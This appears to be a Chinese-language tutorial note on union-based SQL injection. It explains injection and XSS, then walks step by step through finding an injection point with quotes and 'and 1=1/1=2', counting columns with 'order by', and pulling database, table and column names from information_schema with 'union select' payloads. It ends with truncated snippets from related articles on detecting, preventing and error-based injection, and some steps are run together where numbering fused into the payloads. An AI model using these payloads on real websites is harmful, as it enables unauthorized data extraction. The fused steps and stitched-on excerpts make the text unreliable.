web應用程式對使用者輸入的資料校驗處理不嚴或者根本沒有校驗,致使使用者可以拼接執行sql命令。
可能導致資料洩露或資料破壞,缺乏可審計性,甚至導致完全接管主機。
sql
注入是將使用者輸入的資料
當作了sql
語句放入了資料庫
執行。
xss
是將使用者輸入的資料
當作了html
語句放到了頁面
上執行。
order by 字段:根據該欄位排序,由小到大。
order by 3:根據第三個字段排序,由小到大。
limit 0,2:從第一行起顯示兩條記錄。(0表示第一行,2表示顯示兩行)
union select:將多個表拼接在一起顯示。
column_name:欄位名
table_name:表名
schema_name:庫名
information_schema:表示所有資訊,包括庫、表、字段
information_schema.columns:表示所有欄位的資訊
information_schema.tables:表示所有表的資訊
information_schema.schemata:表示所有資料庫的資訊
table_schema:tables表中的資料庫名
2.判斷:語句是否執行
找注入點:id=1』 在1後面加單引號,頁面出錯
id=1 and 1=1 正常 id=1 and 1=2 錯誤
引數可控:改變網頁位址的引數,看頁面是否變化。
3.檢視前乙個表的字段數
用order by 數字,直到某乙個數字n報錯,說明該錶有n-1個字段
4.查詢資料庫名
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,14.查詢當前庫的表名,用union連線select語句
使union前的語句不成立,以執行我們輸入的語句
and 1=2 union select…
從information_schema庫的tables表中查詢table_name欄位,且資料庫名等於當前資料庫,顯示第一行的資訊(即第乙個表名)
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1因為我們查的只有乙個欄位名table_name,所以要在table_name前新增1,2,3等等來佔位,以符合前乙個表的字段數。(例如:select 1,table_name from…)
5.查詢欄位名
select 1,column_name from information_schema.columns where table_schema= database() and table_name=『上一步查到的表名』 limit 0,16.查字段的值(單引號要換成英文的)
and 1=2 union select 1,欄位名 from 表名
黑客預防之如何判斷sql注入?SQL注入怎麼防範
黑客預防之如何判斷sql注入?sql注入怎麼防範。sql注入是目前黑客最常用的攻擊手段,它的原理是利用資料庫對特殊識別符號的解析強行從頁面向後台傳入。改變sql語句結構,達到擴充套件許可權 建立高等級使用者 強行修改使用者資料等等操作。那怎麼判斷是否被sql注入了呢?通過sql注入的原理我們知道,判...
判斷以及防止SQL注入
sql注入是目前黑客最常用的攻擊手段,它的原理是利用資料庫對特殊識別符號的解析強行從頁面向後台傳入。改變sql語句結構,達到擴充套件許可權 建立高等級使用者 強行修改使用者資料等等操作。那怎麼判斷是否被sql注入了呢?通過sql注入的原理我們知道,判斷sql注入可以通過頁面傳入的資料,後台不應該相信...
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...